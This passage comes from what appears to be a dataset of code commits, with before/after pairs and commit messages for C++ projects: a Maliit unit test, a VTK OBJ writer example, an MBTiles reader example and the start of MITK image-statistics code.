 static_assert(std::is_callable<Fn(Tag)>::value, \"\");\n            static_assert(!std::is_callable<Fn(int)>::value, \"\");\n        }\n    }\n    {\n        \/\/ Check that the conversion to the return type is properly checked\n        using Fn = int(*)();\n        static_assert(std::is_callable<Fn(), Implicit>::value);\n        static_assert(std::is_callable<Fn(), double>::value);\n        static_assert(std::is_callable<Fn(), const volatile void>::value);\n        static_assert(!std::is_callable<Fn(), Explicit>::value);\n    }\n    {\n        \/\/ Check for is_callable_v\n        using Fn = void(*)();\n        static_assert(std::is_callable_v<Fn()>);\n        static_assert(!std::is_callable_v<Fn(int)>);\n    }\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* * This file is part of Maliit framework *\n *\n * Copyright (C) 2012 Openismus GmbH\n * Contact: maliit-discuss@lists.maliit.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#include \"ut_mimonscreenplugins.h\"\n\n#include \"config.h\"\n#include \"mimonscreenplugins.h\"\n#include \"mimsettings.h\"\n#include \"mimsettingsqsettings.h\"\n\n#include <QtCore>\n\nnamespace\n{\n\nconst QString Organization = \"maliit.org\";\nconst QString Application = \"server-tests\";\nconst QString DefaultPlugin = MALIIT_DEFAULT_PLUGIN;\nconst QString DefaultSubview = MALIIT_DEFAULT_SUBVIEW;\n\n}\n\nvoid Ut_MImOnScreenPlugins::initTestCase()\n{\n    MImSettings::setImplementationFactory(new MImSettingsQSettingsBackendFactory(Organization, Application));\n}\n\nvoid Ut_MImOnScreenPlugins::cleanupTestCase()\n{}\n\nvoid Ut_MImOnScreenPlugins::init()\n{}\n\nvoid Ut_MImOnScreenPlugins::cleanup()\n{\n    QSettings settings(Organization, Application);\n    settings.clear();\n}\n\nvoid Ut_MImOnScreenPlugins::testActiveAndEnabledSubviews_data()\n{\n    QTest::addColumn<QString>(\"active_key\");\n    QTest::addColumn<QString>(\"enabled_key\");\n    QTest::addColumn<QString>(\"initially_active\");\n    QTest::addColumn<QStringList>(\"initially_enabled\");\n    QTest::addColumn<QString>(\"expected_active_plugin\");\n    QTest::addColumn<QString>(\"expected_active_id\");\n    QTest::addColumn<int>(\"expected_enabled_count\");\n    QTest::addColumn<int>(\"expected_active_index\");\n\n    QTest::newRow(\"empty user configuration\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString()\n        << QStringList()\n        << DefaultPlugin << DefaultSubview\n        << 1 << 0;\n\n    QTest::newRow(\"no active subview\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString()\n        << (QStringList() << QString(DefaultPlugin + \":cs\")\n                          << QString(DefaultPlugin + \":fr_ca\"))\n        << DefaultPlugin << DefaultSubview\n        << 3 << 0;\n\n    QTest::newRow(\"non-default active subview\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString(\"libmaliit-keyboard-plugin.so:fr_ca\")\n        << (QStringList() << QString(DefaultPlugin + \":cs\")\n                          << QString(DefaultPlugin + \":fr_ca\"))\n        << DefaultPlugin << \"fr_ca\"\n        << 2 << 1;\n\n    QTest::newRow(\"active but no enabled subview (enabled default subview, too)\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString(DefaultPlugin + \":fr_ca\")\n        << QStringList()\n        << DefaultPlugin << \"fr_ca\"\n        << 2 << 0;\n}\n\nvoid Ut_MImOnScreenPlugins::testActiveAndEnabledSubviews()\n{\n    QFETCH(QString, active_key);\n    QFETCH(QString, enabled_key);\n    QFETCH(QString, initially_active);\n    QFETCH(QStringList, initially_enabled);\n    QFETCH(QString, expected_active_plugin);\n    QFETCH(QString, expected_active_id);\n    QFETCH(int, expected_enabled_count);\n    QFETCH(int, expected_active_index);\n\n    QSettings settings(Organization, Application);\n\n    if (not initially_active.isEmpty()) {\n        settings.setValue(active_key, initially_active);\n    }\n\n    if (not initially_enabled.isEmpty()) {\n        settings.setValue(enabled_key, initially_enabled);\n    }\n\n    MImOnScreenPlugins plugins;\n    MImOnScreenPlugins::SubView active = plugins.activeSubView();\n    QCOMPARE(active.plugin, expected_active_plugin);\n    QCOMPARE(active.id, expected_active_id);\n\n    QList<MImOnScreenPlugins::SubView> enabled = plugins.enabledSubViews(active.plugin);\n    QCOMPARE(enabled.size(), expected_enabled_count);\n    QCOMPARE(enabled.at(expected_active_index), active);\n}\n\nQTEST_MAIN(Ut_MImOnScreenPlugins)\n<commit_msg>Forgot replace one instance of libmaliit-keyboard-plugin.so with DefaultPlugin<commit_after>\/* * This file is part of Maliit framework *\n *\n * Copyright (C) 2012 Openismus GmbH\n * Contact: maliit-discuss@lists.maliit.org\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1 as published by the Free Software Foundation\n * and appearing in the file LICENSE.LGPL included in the packaging\n * of this file.\n *\/\n\n#include \"ut_mimonscreenplugins.h\"\n\n#include \"config.h\"\n#include \"mimonscreenplugins.h\"\n#include \"mimsettings.h\"\n#include \"mimsettingsqsettings.h\"\n\n#include <QtCore>\n\nnamespace\n{\n\nconst QString Organization = \"maliit.org\";\nconst QString Application = \"server-tests\";\nconst QString DefaultPlugin = MALIIT_DEFAULT_PLUGIN;\nconst QString DefaultSubview = MALIIT_DEFAULT_SUBVIEW;\n\n}\n\nvoid Ut_MImOnScreenPlugins::initTestCase()\n{\n    MImSettings::setImplementationFactory(new MImSettingsQSettingsBackendFactory(Organization, Application));\n}\n\nvoid Ut_MImOnScreenPlugins::cleanupTestCase()\n{}\n\nvoid Ut_MImOnScreenPlugins::init()\n{}\n\nvoid Ut_MImOnScreenPlugins::cleanup()\n{\n    QSettings settings(Organization, Application);\n    settings.clear();\n}\n\nvoid Ut_MImOnScreenPlugins::testActiveAndEnabledSubviews_data()\n{\n    QTest::addColumn<QString>(\"active_key\");\n    QTest::addColumn<QString>(\"enabled_key\");\n    QTest::addColumn<QString>(\"initially_active\");\n    QTest::addColumn<QStringList>(\"initially_enabled\");\n    QTest::addColumn<QString>(\"expected_active_plugin\");\n    QTest::addColumn<QString>(\"expected_active_id\");\n    QTest::addColumn<int>(\"expected_enabled_count\");\n    QTest::addColumn<int>(\"expected_active_index\");\n\n    QTest::newRow(\"empty user configuration\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString()\n        << QStringList()\n        << DefaultPlugin << DefaultSubview\n        << 1 << 0;\n\n    QTest::newRow(\"no active subview\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString()\n        << (QStringList() << QString(DefaultPlugin + \":cs\")\n                          << QString(DefaultPlugin + \":fr_ca\"))\n        << DefaultPlugin << DefaultSubview\n        << 3 << 0;\n\n    QTest::newRow(\"non-default active subview\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString(DefaultPlugin +\":fr_ca\")\n        << (QStringList() << QString(DefaultPlugin + \":cs\")\n                          << QString(DefaultPlugin + \":fr_ca\"))\n        << DefaultPlugin << \"fr_ca\"\n        << 2 << 1;\n\n    QTest::newRow(\"active but no enabled subview (enabled default subview, too)\")\n        << \"maliit\/onscreen\/active\" << \"maliit\/onscreen\/enabled\"\n        << QString(DefaultPlugin + \":fr_ca\")\n        << QStringList()\n        << DefaultPlugin << \"fr_ca\"\n        << 2 << 0;\n}\n\nvoid Ut_MImOnScreenPlugins::testActiveAndEnabledSubviews()\n{\n    QFETCH(QString, active_key);\n    QFETCH(QString, enabled_key);\n    QFETCH(QString, initially_active);\n    QFETCH(QStringList, initially_enabled);\n    QFETCH(QString, expected_active_plugin);\n    QFETCH(QString, expected_active_id);\n    QFETCH(int, expected_enabled_count);\n    QFETCH(int, expected_active_index);\n\n    QSettings settings(Organization, Application);\n\n    if (not initially_active.isEmpty()) {\n        settings.setValue(active_key, initially_active);\n    }\n\n    if (not initially_enabled.isEmpty()) {\n        settings.setValue(enabled_key, initially_enabled);\n    }\n\n    MImOnScreenPlugins plugins;\n    MImOnScreenPlugins::SubView active = plugins.activeSubView();\n    QCOMPARE(active.plugin, expected_active_plugin);\n    QCOMPARE(active.id, expected_active_id);\n\n    QList<MImOnScreenPlugins::SubView> enabled = plugins.enabledSubViews(active.plugin);\n    QCOMPARE(enabled.size(), expected_enabled_count);\n    QCOMPARE(enabled.at(expected_active_index), active);\n}\n\nQTEST_MAIN(Ut_MImOnScreenPlugins)\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n *\n *  Copyright David Doria 2011 daviddoria@gmail.com\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n#include <vtkSmartPointer.h>\n#include <vtkPolyData.h>\n#include <vtkSphereSource.h>\n#include <vtkXMLPolyDataReader.h>\n\n#include \"vtkOBJWriter.h\"\n\nint main (int argc, char *argv[])\n{\n  vtkSmartPointer<vtkPolyData> input;\n  std::string outputFilename;\n\n  \/\/ Verify command line arguments\n  if(argc > 1) \/\/ Use the command line arguments\n    {\n    if(argc != 3)\n      {\n      std::cout << \"Required arguments: InputFilename.vtp OutputFilename.obj\" << std::endl;\n      return EXIT_FAILURE;\n      }\n    vtkSmartPointer<vtkXMLPolyDataReader> reader =\n      vtkSmartPointer<vtkXMLPolyDataReader>::New();\n    reader->SetFileName(argv[1]);\n    reader->Update();\n\n    input->ShallowCopy(reader->GetOutput());\n\n    outputFilename = argv[2];\n    }\n  else\n    {\n    outputFilename = \"output.obj\";\n    vtkSmartPointer<vtkSphereSource> sphereSource =\n      vtkSmartPointer<vtkSphereSource>::New();\n    sphereSource->Update();\n    input->ShallowCopy(sphereSource->GetOutput());\n    }\n\n  vtkSmartPointer<vtkOBJWriter> writer = \n      vtkSmartPointer<vtkOBJWriter>::New();\n  writer->SetInputData(input);\n  writer->SetFileName(outputFilename.c_str());\n  writer->Update();\n\n  return EXIT_SUCCESS;\n}\n<commit_msg>fix: vtkPolyData needs to be initialized<commit_after>\/*=========================================================================\n *\n *  Copyright David Doria 2011 daviddoria@gmail.com\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *         http:\/\/www.apache.org\/licenses\/LICENSE-2.0.txt\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\n *=========================================================================*\/\n\n#include <vtkSmartPointer.h>\n#include <vtkPolyData.h>\n#include <vtkSphereSource.h>\n#include <vtkXMLPolyDataReader.h>\n\n#include \"vtkOBJWriter.h\"\n\nint main (int argc, char *argv[])\n{\n  vtkSmartPointer<vtkPolyData> input =\n    vtkSmartPointer<vtkPolyData>::New();\n  std::string outputFilename;\n\n  \/\/ Verify command line arguments\n  if(argc > 1) \/\/ Use the command line arguments\n    {\n    if(argc != 3)\n      {\n      std::cout << \"Required arguments: InputFilename.vtp OutputFilename.obj\" << std::endl;\n      return EXIT_FAILURE;\n      }\n    vtkSmartPointer<vtkXMLPolyDataReader> reader =\n      vtkSmartPointer<vtkXMLPolyDataReader>::New();\n    reader->SetFileName(argv[1]);\n    reader->Update();\n\n    input->ShallowCopy(reader->GetOutput());\n\n    outputFilename = argv[2];\n    }\n  else\n    {\n    outputFilename = \"output.obj\";\n    vtkSmartPointer<vtkSphereSource> sphereSource =\n      vtkSmartPointer<vtkSphereSource>::New();\n    sphereSource->Update();\n    input->ShallowCopy(sphereSource->GetOutput());\n    }\n\n  vtkSmartPointer<vtkOBJWriter> writer = \n    vtkSmartPointer<vtkOBJWriter>::New();\n  writer->SetInputData(input);\n  writer->SetFileName(outputFilename.c_str());\n  writer->Update();\n\n  return EXIT_SUCCESS;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <cstring>\n#include <map>\n#include <fstream>\n#include \"..\/cppGzip\/DecodeGzip.h\"\n#include \"..\/Include\/MBTileReader.h\"\n#include <math.h>\n#include <sstream>\n#include <fstream>\n#include <stdlib.h>\n#include \"..\/Include\/VectorTile.h\"\nusing namespace std;\n\n\/\/ http:\/\/stackoverflow.com\/a\/236803\/4288232\nvoid strsplit(const string &s, char delim, vector<string> &elems) {\n    stringstream ss(s);\n    string item;\n    while (getline(ss, item, delim)) {\n        elems.push_back(item);\n    }\n}\n\n\/\/\/This class would need to be expanded to store features as needed.\nclass ExampleDataStore : public DecodeVectorTileResults\n{\npublic:\n\tExampleDataStore() : DecodeVectorTileResults()\n\t{\n\t\tcout << \"Create custom data store...\" << endl;\n\t}\n\n\tvoid Feature(int typeEnum, bool hasId, unsigned long long id, \n\t\tconst std::map<std::string, std::string> &tagMap,\n\t\tstd::vector<Point2D> &pointsOut, \n\t\tstd::vector<std::vector<Point2D> > &linesOut,\n\t\tstd::vector<Polygon2D> &polygonsOut)\n\t{\n\t\t\/\/In real use, delete this function call and add your own functionality.\n\t\tDecodeVectorTileResults::Feature(typeEnum, hasId, id, \n\t\t\ttagMap, pointsOut, linesOut, polygonsOut);\n\t}\n};\n\nint main(int argc, char **argv)\n{\n\t\/\/ Verify that the version of the library that we linked against is\n\t\/\/ compatible with the version of the headers we compiled against.\n\tGOOGLE_PROTOBUF_VERIFY_VERSION;\n\n\t\/\/Grab from http:\/\/osm2vectortiles.org\/downloads\/\n\tclass MBTileReader mbTileReader(\"cairo_egypt.mbtiles\");\t\n\t\n\tcout << \"name:\" << mbTileReader.GetMetadata(\"name\") << endl;\n\tcout << \"type:\" << mbTileReader.GetMetadata(\"type\") << endl;\n\tstring version = mbTileReader.GetMetadata(\"version\");\n\tcout << \"version:\" << version << endl;\n\tvector<string> versionSplit;\n\tstrsplit(version, '.', versionSplit);\n\tvector<int> versionInts;\n\tfor (size_t i=0;i<versionSplit.size();i++) versionInts.push_back(atoi(versionSplit[i].c_str()));\n\tcout << \"description:\" << mbTileReader.GetMetadata(\"description\") << endl;\n\tstring format = mbTileReader.GetMetadata(\"format\");\n\tcout << \"format:\" << format << endl;\n\tcout << \"bounds:\" << mbTileReader.GetMetadata(\"bounds\") << endl;\n\n\tif(0) \/\/Get metadata fields\n\t{\n\t\tstd::vector<std::string> fieldNames;\n\t\tmbTileReader.GetMetadataFields(fieldNames);\n\t\tfor(unsigned i=0;i<fieldNames.size();i++) cout << fieldNames[i] << endl;\n\t}\n\n\tif(0) \/\/Get list of tiles\n\t{\n\t\tTileInfoRows tileInfoRows;\n\t\tmbTileReader.ListTiles(tileInfoRows);\n\t\tfor(unsigned i=0;i < tileInfoRows.size(); i++)\n\t\t{\n\t\t\tfor(size_t j=0; j < tileInfoRows[i].size(); j++)\n\t\t\t\tcout << tileInfoRows[i][j] << \",\";\n\t\t\tcout << endl;\n\t\t}\n\t}\n\n\tstring blob;\n\tint tileZoom = 14;\n\tint tileColumn = 9613;\n\tint tileRow = 9626;\n\tmbTileReader.GetTile(tileZoom, tileColumn, tileRow, blob);\n\n\tif(format == \"pbf\" && versionInts[0] == 2)\n\t{\n\t\t\/\/Ungzip the data\n\t\tstd::stringbuf buff;\n\t\tbuff.sputn(blob.c_str(), blob.size());\n\t\tDecodeGzip dec(buff);\n\n\t\tstring tileData;\n\n\t\tchar tmp[1024];\n\t\twhile(dec.in_avail())\n\t\t{\n\t\t\tstreamsize bytes = dec.sgetn(tmp, 1024);\n\t\t\ttileData.append(tmp, bytes);\n\t\t}\n\n\t\t\/\/Decode vector data\n\t\tclass ExampleDataStore results;\n\t\tclass DecodeVectorTile vectorDec(tileZoom, tileColumn, tileRow, results);\n\t\tvectorDec.DecodeTileData(tileData);\n\t}\n\t\n\tif(format == \"jpg\" || format == \"png\")\n\t{\n\t\t\/\/Save image to output file\n\t\tstringstream filename;\n\t\tfilename << \"out\" << \".\" << format;\n\t\tofstream outFi(filename.str().c_str());\n\t\toutFi.write(blob.c_str(), blob.size());\n\t}\n\n\t\/\/ Optional:  Delete all global objects allocated by libprotobuf.\n\tgoogle::protobuf::ShutdownProtobufLibrary();\n\t\n}\n\n<commit_msg>Update versionInts comparison so the example.cpp runs again.<commit_after>#include <iostream>\n#include <cstring>\n#include <map>\n#include <fstream>\n#include \"..\/cppGzip\/DecodeGzip.h\"\n#include \"..\/Include\/MBTileReader.h\"\n#include <math.h>\n#include <sstream>\n#include <fstream>\n#include <stdlib.h>\n#include \"..\/Include\/VectorTile.h\"\nusing namespace std;\n\n\/\/ http:\/\/stackoverflow.com\/a\/236803\/4288232\nvoid strsplit(const string &s, char delim, vector<string> &elems) {\n    stringstream ss(s);\n    string item;\n    while (getline(ss, item, delim)) {\n        elems.push_back(item);\n    }\n}\n\n\/\/\/This class would need to be expanded to store features as needed.\nclass ExampleDataStore : public DecodeVectorTileResults\n{\npublic:\n\tExampleDataStore() : DecodeVectorTileResults()\n\t{\n\t\tcout << \"Create custom data store...\" << endl;\n\t}\n\n\tvoid Feature(int typeEnum, bool hasId, unsigned long long id, \n\t\tconst std::map<std::string, std::string> &tagMap,\n\t\tstd::vector<Point2D> &pointsOut, \n\t\tstd::vector<std::vector<Point2D> > &linesOut,\n\t\tstd::vector<Polygon2D> &polygonsOut)\n\t{\n\t\t\/\/In real use, delete this function call and add your own functionality.\n\t\tDecodeVectorTileResults::Feature(typeEnum, hasId, id, \n\t\t\ttagMap, pointsOut, linesOut, polygonsOut);\n\t}\n};\n\nint main(int argc, char **argv)\n{\n\t\/\/ Verify that the version of the library that we linked against is\n\t\/\/ compatible with the version of the headers we compiled against.\n\tGOOGLE_PROTOBUF_VERIFY_VERSION;\n\n\t\/\/Grab from http:\/\/osm2vectortiles.org\/downloads\/\n\tclass MBTileReader mbTileReader(\"cairo_egypt.mbtiles\");\t\n\t\n\tcout << \"name:\" << mbTileReader.GetMetadata(\"name\") << endl;\n\tcout << \"type:\" << mbTileReader.GetMetadata(\"type\") << endl;\n\tstring version = mbTileReader.GetMetadata(\"version\");\n\tcout << \"version:\" << version << endl;\n\tvector<string> versionSplit;\n\tstrsplit(version, '.', versionSplit);\n\tvector<int> versionInts;\n\tfor (size_t i=0;i<versionSplit.size();i++) versionInts.push_back(atoi(versionSplit[i].c_str()));\n\tcout << \"description:\" << mbTileReader.GetMetadata(\"description\") << endl;\n\tstring format = mbTileReader.GetMetadata(\"format\");\n\tcout << \"format:\" << format << endl;\n\tcout << \"bounds:\" << mbTileReader.GetMetadata(\"bounds\") << endl;\n\n\tif(1) \/\/Get metadata fields\n\t{\n\t\tstd::vector<std::string> fieldNames;\n\t\tmbTileReader.GetMetadataFields(fieldNames);\n\t\tfor(unsigned i=0;i<fieldNames.size();i++) cout << fieldNames[i] << endl;\n\t}\n\n\tif(0) \/\/Get list of tiles\n\t{\n\t\tTileInfoRows tileInfoRows;\n\t\tmbTileReader.ListTiles(tileInfoRows);\n\t\tfor(unsigned i=0;i < tileInfoRows.size(); i++)\n\t\t{\n\t\t\tfor(size_t j=0; j < tileInfoRows[i].size(); j++)\n\t\t\t\tcout << tileInfoRows[i][j] << \",\";\n\t\t\tcout << endl;\n\t\t}\n\t}\n\n\tstring blob;\n\tint tileZoom = 14;\n\tint tileColumn = 9613;\n\tint tileRow = 9626;\n\tmbTileReader.GetTile(tileZoom, tileColumn, tileRow, blob);\n\n\tif(format == \"pbf\" && versionInts[0] == 3)\n\t{\n\t\t\/\/Ungzip the data\n\t\tstd::stringbuf buff;\n\t\tbuff.sputn(blob.c_str(), blob.size());\n\t\tDecodeGzip dec(buff);\n\n\t\tstring tileData;\n\n\t\tchar tmp[1024];\n\t\twhile(dec.in_avail())\n\t\t{\n\t\t\tstreamsize bytes = dec.sgetn(tmp, 1024);\n\t\t\ttileData.append(tmp, bytes);\n\t\t}\n\n\t\t\/\/Decode vector data\n\t\tclass ExampleDataStore results;\n\t\tclass DecodeVectorTile vectorDec(tileZoom, tileColumn, tileRow, results);\n\t\tvectorDec.DecodeTileData(tileData);\n\t}\n\t\n\tif(format == \"jpg\" || format == \"png\")\n\t{\n\t\t\/\/Save image to output file\n\t\tstringstream filename;\n\t\tfilename << \"out\" << \".\" << format;\n\t\tofstream outFi(filename.str().c_str());\n\t\toutFi.write(blob.c_str(), blob.size());\n\t}\n\n\t\/\/ Optional:  Delete all global objects allocated by libprotobuf.\n\tgoogle::protobuf::ShutdownProtobufLibrary();\n\t\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/*===================================================================\n\nThe Medical Imaging Interaction Toolkit (MITK)\n\nCopyright (c) German Cancer Research Center,\nDivision of Medical and Biological Informatics.\nAll rights reserved.\n\nThis software is distributed WITHOUT ANY WARRANTY; without\neven the implied warranty of MERCHANTABILITY or FITNESS FOR\nA PARTICULAR PURPOSE.\n\nSee LICENSE.txt or http:\/\/www.mitk.org for details.\n\n===================================================================*\/\n#include \"mitkImageStatisticsHolder.h\"\n\n#include \"mitkHistogramGenerator.h\"\n\/\/#include \"mitkImageTimeSelector.h\"\n\nmitk::ImageStatisticsHolder::ImageStatisticsHolder( mitk::Image* image)\n  : m_Image(image)\/*, m_TimeSelectorForExtremaObject(NULL)*\/\n{\n  m_CountOfMinValuedVoxels.resize(1, 0);\n  m_CountOfMaxValuedVoxels.resize(1, 0);\n  m_ScalarMin.resize(1, itk::NumericTraits<ScalarType>::max());\n  m_ScalarMax.resize(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n  m_Scalar2ndMin.resize(1, itk::NumericTraits<ScalarType>::max());\n  m_Scalar2ndMax.resize(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n\n  mitk::HistogramGenerator::Pointer generator = mitk::HistogramGenerator::New();\n  m_HistogramGeneratorObject = generator;\n\n  \/\/m_Image = image;\n\n  \/\/ create time selector\n  \/\/this->GetTimeSelector();\n}\n\nmitk::ImageStatisticsHolder::~ImageStatisticsHolder()\n{\n  m_HistogramGeneratorObject = NULL;\n  \/\/m_TimeSelectorForExtremaObject = NULL;\n  \/\/m_Image = NULL;\n}\n\nconst mitk::ImageStatisticsHolder::HistogramType* mitk::ImageStatisticsHolder::GetScalarHistogram(int t)\n{\n  mitk::ImageTimeSelector* timeSelector = this->GetTimeSelector();\n  if(timeSelector!=NULL)\n  {\n    timeSelector->SetTimeNr(t);\n    timeSelector->UpdateLargestPossibleRegion();\n\n    mitk::HistogramGenerator* generator = static_cast<mitk::HistogramGenerator*>(m_HistogramGeneratorObject.GetPointer());\n    generator->SetImage(timeSelector->GetOutput());\n    generator->ComputeHistogram();\n    return static_cast<const mitk::ImageStatisticsHolder::HistogramType*>(generator->GetHistogram());\n  }\n  return NULL;\n}\n\nbool mitk::ImageStatisticsHolder::IsValidTimeStep( int t) const\n{\n    return m_Image->IsValidTimeStep(t);\n}\n\nmitk::ImageTimeSelector::Pointer mitk::ImageStatisticsHolder::GetTimeSelector()\n{\n  \/\/if(m_TimeSelectorForExtremaObject.IsNull())\n  \/\/{\n  \/\/  m_TimeSelectorForExtremaObject = ImageTimeSelector::New();\n\n  ImageTimeSelector::Pointer timeSelector = ImageTimeSelector::New();\/\/static_cast<mitk::ImageTimeSelector*>( m_TimeSelectorForExtremaObject.GetPointer() );\n    timeSelector->SetInput(m_Image);\n  \/\/}\n\n  return timeSelector; \/\/static_cast<ImageTimeSelector*>( m_TimeSelectorForExtremaObject.GetPointer() );\n}\n\nvoid mitk::ImageStatisticsHolder::Expand( unsigned int timeSteps )\n{\n  if(! m_Image->IsValidTimeStep(timeSteps - 1) ) return;\n\n  \/\/ The BaseData needs to be expanded, call the mitk::Image::Expand() method\n  m_Image->Expand(timeSteps);\n\n  if(timeSteps > m_ScalarMin.size() )\n  {\n    m_ScalarMin.resize(timeSteps, itk::NumericTraits<ScalarType>::max());\n    m_ScalarMax.resize(timeSteps, itk::NumericTraits<ScalarType>::NonpositiveMin());\n    m_Scalar2ndMin.resize(timeSteps, itk::NumericTraits<ScalarType>::max());\n    m_Scalar2ndMax.resize(timeSteps, itk::NumericTraits<ScalarType>::NonpositiveMin());\n    m_CountOfMinValuedVoxels.resize(timeSteps, 0);\n    m_CountOfMaxValuedVoxels.resize(timeSteps, 0);\n  }\n}\n\nvoid mitk::ImageStatisticsHolder::ResetImageStatistics()\n{\n  m_ScalarMin.assign(1, itk::NumericTraits<ScalarType>::max());\n  m_ScalarMax.assign(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n  m_Scalar2ndMin.assign(1, itk::NumericTraits<ScalarType>::max());\n  m_Scalar2ndMax.assign(1, itk::NumericTraits<ScalarType>::NonpositiveMin());\n  m_CountOfMinValuedVoxels.assign(1, 0);\n  m_CountOfMaxValuedVoxels.assign(1, 0);\n}\n\n\n#include \"mitkImageAccessByItk.h\"\n\n\/\/#define BOUNDINGOBJECT_IGNORE\n\ntemplate < typename ItkImageType >\nvoid mitk::_ComputeExtremaInItkImage( const ItkImageType* itkImage, mitk::ImageStatisticsHolder* statisticsHolder, int t)\n{\n  typename ItkImageType::RegionType region;\n  region = itkImage->GetBufferedRegion();\n  if(region.Crop(itkImage->GetRequestedRegion()) == false) return;\n  if(region != itkImage->GetRequestedRegion()) return;\n\n  itk::ImageRegionConstIterator<ItkImageType> it(itkImage, region);\n  typedef typename ItkImageType::PixelType TPixel;\n  TPixel value = 0;\n\n  if ( statisticsHolder == NULL || !statisticsHolder->IsValidTimeStep( t ) ) return;\n  statisticsHolder->Expand(t+1); \/\/ make sure we have initialized all arrays\n  statisticsHolder->m_CountOfMinValuedVoxels[t] = 0;\n  statisticsHolder->m_CountOfMaxValuedVoxels[t] = 0;\n\n  statisticsHolder->m_Scalar2ndMin[t]=\n      statisticsHolder->m_ScalarMin[t] = itk::NumericTraits<ScalarType>::max();\n  statisticsHolder->m_Scalar2ndMax[t]=\n      statisticsHolder->m_ScalarMax[t] = itk::NumericTraits<ScalarType>::NonpositiveMin();\n\n  while( !it.IsAtEnd() )\n  {\n    value = it.Get();\n    \/\/  if ( (value > mitkImage->m_ScalarMin) && (value < mitkImage->m_Scalar2ndMin) )        mitkImage->m_Scalar2ndMin = value;\n    \/\/  else if ( (value < mitkImage->m_ScalarMax) && (value > mitkImage->m_Scalar2ndMax) )   mitkImage->m_Scalar2ndMax = value;\n    \/\/  else if (value > mitkImage->m_ScalarMax)                                              mitkImage->m_ScalarMax = value;\n    \/\/  else if (value < mitkImage->m_ScalarMin)                                              mitkImage->m_ScalarMin = value;\n\n    \/\/ if numbers start with 2ndMin or 2ndMax and never have that value again, the previous above logic failed\n#ifdef BOUNDINGOBJECT_IGNORE\n    if( value > -32765)\n    {\n#endif\n      \/\/ update min\n      if ( value < statisticsHolder->m_ScalarMin[t] )\n      {\n        statisticsHolder->m_Scalar2ndMin[t] =\n            statisticsHolder->m_ScalarMin[t];    statisticsHolder->m_ScalarMin[t] = value;\n        statisticsHolder->m_CountOfMinValuedVoxels[t] = 1;\n      }\n      else if ( value == statisticsHolder->m_ScalarMin[t] )\n      {\n        ++statisticsHolder->m_CountOfMinValuedVoxels[t];\n      }\n      else if ( value < statisticsHolder->m_Scalar2ndMin[t] )\n      {\n        statisticsHolder->m_Scalar2ndMin[t] = value;\n      }\n\n      \/\/ update max\n      if ( value > statisticsHolder->m_ScalarMax[t] )\n      {\n        statisticsHolder->m_Scalar2ndMax[t] =\n            statisticsHolder->m_ScalarMax[t];    statisticsHolder->m_ScalarMax[t] = value;\n        statisticsHolder->m_CountOfMaxValuedVoxels[t] = 1;\n      }\n      else if ( value == statisticsHolder->m_ScalarMax[t] )\n      {\n        ++statisticsHolder->m_CountOfMaxValuedVoxels[t];\n      }\n      else if ( value > statisticsHolder->m_Scalar2ndMax[t] )\n      {\n        statisticsHolder->m_Scalar2ndMax[t] = value;\n      }\n#ifdef BOUNDINGOBJECT_IGNORE\n    }\n#endif\n\n    ++it;\n  }\n\n  \/\/\/\/ guard for wrong 2dMin\/Max on single constant value images\n  if (statisticsHolder->m_ScalarMax[t] == statisticsHolder->m_ScalarMin[t])\n  {\n    statisticsHolder->m_Scalar2ndMax[t] = statisticsHolder->m_Scalar2ndMin[t] = statisticsHolder->m_ScalarMax[t];\n  }\n  statisticsHolder->m_LastRecomputeTimeStamp.Modified();\n  \/\/MITK_DEBUG <<\"extrema \"<<itk::NumericTraits<TPixel>::NonpositiveMin()<<\" \"<<mitkImage->m_ScalarMin<<\" \"<<mitkImage->m_Scalar2ndMin<<\" \"<<mitkImage->m_Scalar2ndMax<<\" \"<<mitkImage->m_ScalarMax<<\" \"<<itk::NumericTraits<TPixel>::max();\n}\n\nvoid mitk::ImageStatisticsHolder::ComputeImageStatistics(int t)\n{\n  \/\/ timestep valid?\n  if (!m_Image->IsValidTimeStep(t)) return;\n\n  \/\/ image modified?\n  if (this->m_Image->GetMTime() > m_LastRecomputeTimeStamp.GetMTime())\n    this->ResetImageStatistics();\n\n  Expand(t+1);\n\n  \/\/ do we have valid information already?\n  if( m_ScalarMin[t] != itk::NumericTraits<ScalarType>::max() ||\n      m_Scalar2ndMin[t] != itk::NumericTraits<ScalarType>::max() ) return; \/\/ Values already calculated before...\n\n  const mitk::PixelType pType = m_Image->GetPixelType(0);\n  if(pType.GetNumberOfComponents() == 1)\n  